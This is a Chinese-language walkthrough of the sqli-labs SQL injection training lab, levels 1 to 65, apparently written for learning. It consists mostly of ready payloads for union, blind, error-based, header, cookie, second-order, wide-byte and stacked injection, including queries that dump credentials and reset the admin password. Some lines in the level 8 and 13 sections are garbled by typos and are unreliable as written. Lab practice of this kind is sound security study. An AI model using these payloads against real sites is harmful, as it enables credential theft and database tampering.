查库:select schema_name from information_schema. schemata;
查表: select table_name from information_schema.tables where table_schema='security';
查字段:select column_name form information_schema.columns where table_name='users';
查字段值:select username,password from security.users;
第一关
题目提醒你输入数字值的ID,我们先输入?id=1和?id=2试试。
此时我们发现输入不同的ID,回显也不同。所以我们可以确定输入的内容是带入到数据库里面查询了。然后我们判断出其注入类型为字符型注入。
接下来,使用 order by判断字段数。字段数为3.
接下来,用联合注入测试回显点。并找到数据库名称:security
接下来,判断表名,找到有用的数据表
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' LIMIT 0,1--+
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' LIMIT 3,1--+
接下来,爆字段名。
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
通过上述操作可以得到两个敏感字段就是username和password,接下来我们就能得到该字段对应的内容。
?id=-1' union select 1,2,group_concat(username,password) from users--+
第二关
和第一关一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。
第三关
当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。
接下来,就如同前两题一样。
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
第四关
查看源码,并根据页面报错信息得知sql语句是双引号字符型且有括号。接下来,就与前几题类似。
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
第五关
这一关所使用的方法是布尔盲注。因为页面虽然有东西。但是只有对于请求对错出现不一样页面。
接着, 我们判断数据库名,这里有多种方法,我是用brupsuitleft配合left((select database()),1)='a'来暴力破解。也可以通过ascll()函数用二分法来判断。
所以第一位是s,最终,得出数据库名为security。同样的方法,我们用brupsuite找到数据表名和字段名
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名,substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
第六关
第六关和第五关是差不多的,根据页面报错信息可以猜测id参数是双引号,只需将第五关的单引号换成双引号就可以了。
第七关
判断出是字符型注入,闭合为 '))。回显位有三个。
同样使用布尔盲注。
第八关
同样使用布尔盲注。与第五关使用方法一样,id参数是一个单引号字符串。
1.http://127.0.0.1/sali/Less-8/?id=1'判断此时存在注入漏洞
2. http://127.0.0.1/sali/Less-8/?id=1' order by 3--+当3改为4的时候,you are in....消失,说明存在三列。
3. http://127.0.0.1/sali/Less-8/?id=1' and left((select database(),1=0×73 --+猜出来当前第一位是s
·或者是使用: http:;/127.0.0.1/sali/Less-8/?id=1' and asci(substr((select database()),1,1))>16--+此时是有回显的。
4. http://127.0.0.1/sqli/Less-8/?id=1' and asci(substr((select schema name from information schema.schemata limit1,1),1,1))>17--+先通过大于号或者小于号来判断数据库的第一个字母是哪一个,也可以使用http:;//127.0.0.1/sqli/Less-8/?id=1' and asciti(substr(select schema name from information. schema.schemata limit4,1),1,1))= 115-+此时可以验证数据库中第五个数据库的第一个字母是s
5.http://127.0.0.1/sqli/Less-8/?id=1' and asci(substr(select table name from information. schema.tables where table schema=0x7365637572697479 limit 3,1),1,1)>11--+判断security数据库中的第4个表中的数据的第一位是否大于11, 也可以使用http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr((select table name from information. schema.tables where table schema=0x7365637572697479 limit 3,1),1/1))=117-+验证数据库中第4个表中的数据的第一位的第一个字母的ascii码是否是117,也就是u
6. http://127.0.0.1/sqli/Less-8/?id=1' and asciti(substr(select column name from information..chema.columns wheretable .name =0x7573657273 limit 1,1),1,1)》)>10 --+同理,进行判断表中的字段,然后进行判断。可以得到 username, password;
7.http://127.0.0.1/sqli/Less-8/?id=1' and asci(substr((select username from security.userslimit o,1)1.1)>10 --+同理,进行判断,最后再使用password进行判断。
8.因为猜解速度较慢,可以配合burpsuite或者是sqlmap的脚本来使用。
也可以使用时间盲注的方法。
1.http://127,0.0.1/sali/Less-8/?id=1' and sleep(5)--+使用延迟的方法判断是否存在注入漏洞。
2.http://127.0.0.1/sqli/Less-8/?id=1' and if(length(database())=8,1,sleep[5)-+当为8的时候很快加载,而为其他值得时候加载较慢(5s左右),那就说明此时数据库的长度就是8(security)
3.http://127.0.0.1/sqli/Less-8/?id=1' and if(ascii(select database(),1.1))>113,sleep(5))--+t如果当前数据库的第一个字母的ascii值大于113的时候,会立刻返回结果,否则执行5s.
4.http:/127.0.0.1/sqli/Less-8/?id=1' and if(ascii(substr(select schema_name from information schema.schemata limit 4,1),1,1))>117,1,sleep(5)--+同理判断数据库中的第5个数据库的第一位的ascii的值是不是大于112(实际中是115),如果是的则速度返回,否则延时5s返回结果。
5.其余步骤与布尔盲注基本类似,可以采用burpsuite或者是sql盲注脚本使用。
第九关
第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,所以我们用时间盲注。
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
第十关
和第九关一样只需要将单引号换成双引号。
第十一关
从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且,--+不可以使用,改用#。
根据报错信息可以推断该sql语句username='参数' and password='参数',接下来,使用联合注入即可。
第十二关
当我们输入1'和1时候页面没有反应,输入1"的时候页面出现报错信息,就可以知道sql语句是双引号且有括号。
同样使用联合查询。
第十三关
这一关不产生报错信息。是明显的布尔盲注。只有错误页面和正确页面进行参考。
1.uname=admin &passwd=admin&submit=Submit此时只是显示登陆成功,但是不会显示其他的信息。
2. uname='&passwd=a&submit=Submit直接通过报错信息知道了如何构造
3. uname=admin') order by 2#&passwd=admin&submit=Submit此时只是显示登陆成功
但是不会显示其他信息,考虑盲注。
4. uname=admin') or if(length(database()=8,1.,sleep(5)#&passwd=admin&submit=Submt此时可以得到数据库的长度是8.
5.uname=admin&passwd=ain') or left(database(),1>a'#submit=Submit
使用or和left来判断第一个字母是多少(注意的是这里不是使用and)
6.uname=admin&passwd=ain’) or left(database(),2)='se'#&submit=Submit通过这样一个个进行判断即可
7.uname=admin&nasswd=ain')or left((select schema. name from information .schema.schemata
limit 0,1),1)>'a#&submit=Submit或者是使用这种方法也是可以判断的。
uname=admin&passwd=ain ') or left((select table_name from information_schema.tables where
table_schema=0x7365637572697479 limit 0,1),1)='e'#&submit=Submit查表,也可使用burpsuite进行辅助测试。
第十四关
与十三关相似,将')改为"即可。
uname=ad" or length(database())='8'#&passwd=admin&submit=Submit
uname=ad"or left((select schema_name from information_schema .schemata limit 0,1),1)='u’#passwd=admin&submit=Submit
uname=ad " or left((select table_name from information_schema.tables where table _schema= 'security' limit 0,1),1)'a 'Kpasswduname=adin " or left((select column_name from information_schema.columns where table_name='users' limit e,1),1)='a" #&passwd=ad
第十五关
与十三,十四关一样,使用布尔盲注,将')改为'即可。
第十六关
与十五关一样,将'改为")即可。
第十七关
与前面的关不一样,根据页面展示是一个密码重置页面。我们看一下原代码
根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们会用到报错注入。
首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
1
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from
information_schema.tables where table_schema=database()),0x5c),1))# 爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))# 爆字段名
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))# 爆字段内容。
第十八关
页面上输出了我们的id和头文件,User agent浏览器版本
输入失败,输出id,头文件。
我们如果先正常注入的话,发现username和password都进行了转义,所以注入点可能是user-agent。
利用hackbar的user-agent功能修改值,构造语句
'or updatexml(1,concat(0x7e,(database())),1) or '1' ='1
这是构造完的后端语句
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and
updatexml(1,concat(0x7e,(database())),1) or '1' ='1', '127.0.0.1', 'admin')
之后过程就和17关相似了,爆库,表,字段即可。
第十九关
当我们输入正确的账户密码我们的referer字段内容会显示在页面上。该插入的sql语句有两个参数一个是referfer,还有ip地址。方法与十八关相似。
第二十关
输入admin,admin发现进入到如下界面,可以发现cookie字段显示在页面上。这里,我使用的是firefox自带的插件cookie-editor,接下来,进行联合查询即可。
注意:一定要保存!
第二十一关
这一关与二十关相似,也是运用cookie,但使用了base64位加密,我们需要将输入内容进行加密,再输入,同样是联合查询。
%3D就是=。
第二十二关
与第二十一关基本相似,只是由'变为"。
第二十三关
这一道题对#,--进行了注释,替换成了空格,所以我们使用专用于SQL注入的新的注释符:;%00
也可以通过 and或者or语句闭合。然后,就是我们熟悉的联合查询。
第二十四关
这一关使用了二次注入。
可以理解为:由于对二次调用函数没有进行过滤,导致用户可以通过构造payload绕过去修改其他用户的密码。
我们先注册一个用户名为:admin’#的账号,登录。
然后进行密码修改
使用刚改的密码登录admin的账号,登陆成功。就是说我们注册admin‘#时可以正常注册,但是二次调用账户时并没有进行过滤,所以’#符号就被过滤掉了,也就是说在后台实际修改的是admin的密码
第二十五关
老样子,我们先输入?id=1,会发现下面有提示(Hint)
然后进行经典操作:order by。报错后由提示知道or被替换为空。
我们可以尝试双写进行绕过。也可以用||替换or,配合报错注入。
然后就是我们熟悉的联合查询。但要注意的是所有的or都会被替换,所以我们都要双写。
第二十五a关
这里没有包裹,所以直接order by,这里也用到了双写
然后就与二十五关一样。
第二十六关
输入?id=1,成功。加上',出错。说明可能存在注入点。
加上--+,仍然出错,通过提示,我们发现--+被替换为空
改用;%00
输入order by 3后我们发现or与空格被注释了。所以我们用双写,%a0或%0a来替代空格。
之后就是联合注入。
第二十六a关
这一关与二十六关删除的东西一样,方法一样。只需给1'加上)。
第二十七关
可以看出对空格进行了注释。改用%a0
我们发现union, select被注释了,试试大小写混合。发现可行,接下来,就是联合注入。
第二十七a关
与第二十七关相似,将'换为”即可。
第二十八关
与二十七关相似
第二十八a关
与二十八关相似。
第二十九关
是使用jsp搭建的服务器,而不是php;单纯使用php就与第一题一样。这里涉及服务器两层架构。剩下的操作与第一关相似。
对第一个id修改,会被wtf拦截,所以修改第二个
第三十关
与二十九关相似,把'换成"即可。
第三十一关
将29关的注入点改为双引号加括号即可。
第三十二关
当某字符的大小为一个字节时,称其字符为窄字节.
当某字符的大小为两个字节时,称其字符为宽字节.
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等
宽字节带来的安全问题主要是ASc字符(一字节)的现象,即将两个asci字符误认为是一个宽字节字符
中文、韩文、日文等均存在宽字节,英文歌都是一个字节。
在使用PHP连接MySQL的时候,当设置“set character set client=gbk"时会导致一个编码转换的问题。
例子:id=1'
处理1Y进行编码1%5c%27 带入sql后id=/'and xxxx此时无法完成注入
id-1%df处理1%d'进行编码1%df%5c%27带入sql后id-1運'and XXX此时存在宽字节注入漏洞
当输入id=1’时,被转义了
加上%df
后面就是熟悉的联合查询
第三十三关
本题使用了php中的addslashes()函数。步骤几乎与第三十二关相同。
第三十四关
我们使用burpsuite进行抓包之后对数据进行宽字节注入
我们首先在使用bp进行抓包之后,在bp中修改信息得到返回信息即可!
1.我们本来传入的数据:a%df'
2.但是我们抓包之后的数据,uname=a%25df%2527&pas3wd-a%25df9%2527&submit=Submit
我们可以发现%经过url转换之后为%25
所以我们需要在拦截数据包之后将数据进行修改:uname=a%df%27&pas3wd=a%df%27&submit=Submit
接下来就是正常的注入流程。
第三十五关
使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,直接使用联合查询就可以了。
第三十六关
使用mysql_real_escape_string函数对于特殊字符进行转义。id参数是单引号,和前面的三十二关一样。
第三十七关
三十七关是post提交,使用mysql_real_escape_string函数对于账户和密码都进行转义,使用宽字节注入就行。和三十四关一样。
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
我们可以在mysq命令行中进行测试:
Select from users;create table test1 like users;
Show tables;
Select from users;drop table test1;
Select from users;select 1,2,3;
第三十八关
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入。
第三十九关
和三十八关步骤一样,唯一不同是id参数是整数。
第四十关
四十关id参数是单引号加括号闭合,然后也是使用联合注入。
第四十一关
和三十九关一样,id是整数。
第四十二关
password为注入点 .存在堆叠注入函数,所以我们可以在密码那里使用堆叠注入。
找到注入点后尝试修改密码为123456:
1':update security.users set password='123456' where username="admin"#
第四十三关
四十三关和四十二关差不多,就是闭合方式是')。
第四十四关
其步骤与四十二关相同。又因为这一关没有回显的报错信息,可以使用时间盲注。
第四十五关
与四十四关相同,只是闭合方式改为')。
第四十六关
使用新的参数sort,通过输入1,2,3表中出现不同数据,可以得出该sql语句是order by
这里可以使用报错注入与时间盲注两种方法。
select updatexml(1,concat(0x7e,(database())),1)
select updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)
第四十七关
和四十六关一样,是order by注入,但这里需要用单引号闭合
第四十八关
四十八关和四十六关一样,只不过没有报错显示。所以只能使用时间盲注。一般是通过脚本或burpsuite进行。
判断名字长度:?sort= 1 and if(length(database())>8,0,sleep(5))--+
爆库:?sort= 1 and if(ascii(substr(database(),1,1))>100, 0, sleep(5))--+
爆表:?sort= 1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100, 0, sleep(5))--+
爆字段:?sort= 1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))--+
爆值:?sort= 1 and if(ascii(substr((select password from security.users limit 0,1),1,1))>100, 0, sleep(5))--+
第四十九关
和四十八关一样,利用时间盲注,不同的是这里是用单引号闭合的。
第五十关
主要考察堆叠注入,也可以用报错注入及时间盲注
第五十一关
和第五十关一样,不同之处在于这里要用单引号闭合。
第五十二关
和第五十关一样,只是少了报错信息,所以这关不能用报错注入。
第五十三关
和第五十一关一样,只是少了报错信息,所以这关不能用报错注入
第五十四关
这关主要目的是找flag,而且限制查询次数为10次。
查表:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
查字段:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='j7fwdkn8zf'--+
拿flag:?id=-1' union select 1,2,secret_5VRA from j7fwdkn8zf--+
第五十五关
这关和less54基本一样,不同之处在于这里的id值是用)闭合的,有14次机会。
?id=-1)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='njfr3ukt8v'--+
?id=-1) union select 1,group_concat(secret_OYIP),3 from njfr3ukt8v --+
第五十六关
这关和前面的一样,不同之处在于这里的id值是用’)闭合的,有14次机会
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='njfr3ukt8v'--+
?id=-1') union select 1,2,secret_OYIP from njfr3ukt8v--+
第五十七关
这关和前面的一样,不同之处在于这里的id值是用”闭合的,有14次机会
第五十八关
该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出。所以联合注入不行。但是有报错显示,所以可以使用报错注入。有5次机会
第五十九关
五十九关和五十八关一样使用报错注入,id是整数型。有5次机会
第六十关
同上,不同之处在于这里的id值是用”)闭合的,有5次机会
第六十一关
同上,不同之处在于这里的id值是用’))闭合的,有5次机会
第六十二关
六十二关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号加括号。有130次机会
第六十三关
没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号。
第六十四关
同上,不同之处在于这里的id值是用))闭合的
第六十五关
同上,不同之处在于这里的id值是用)闭合的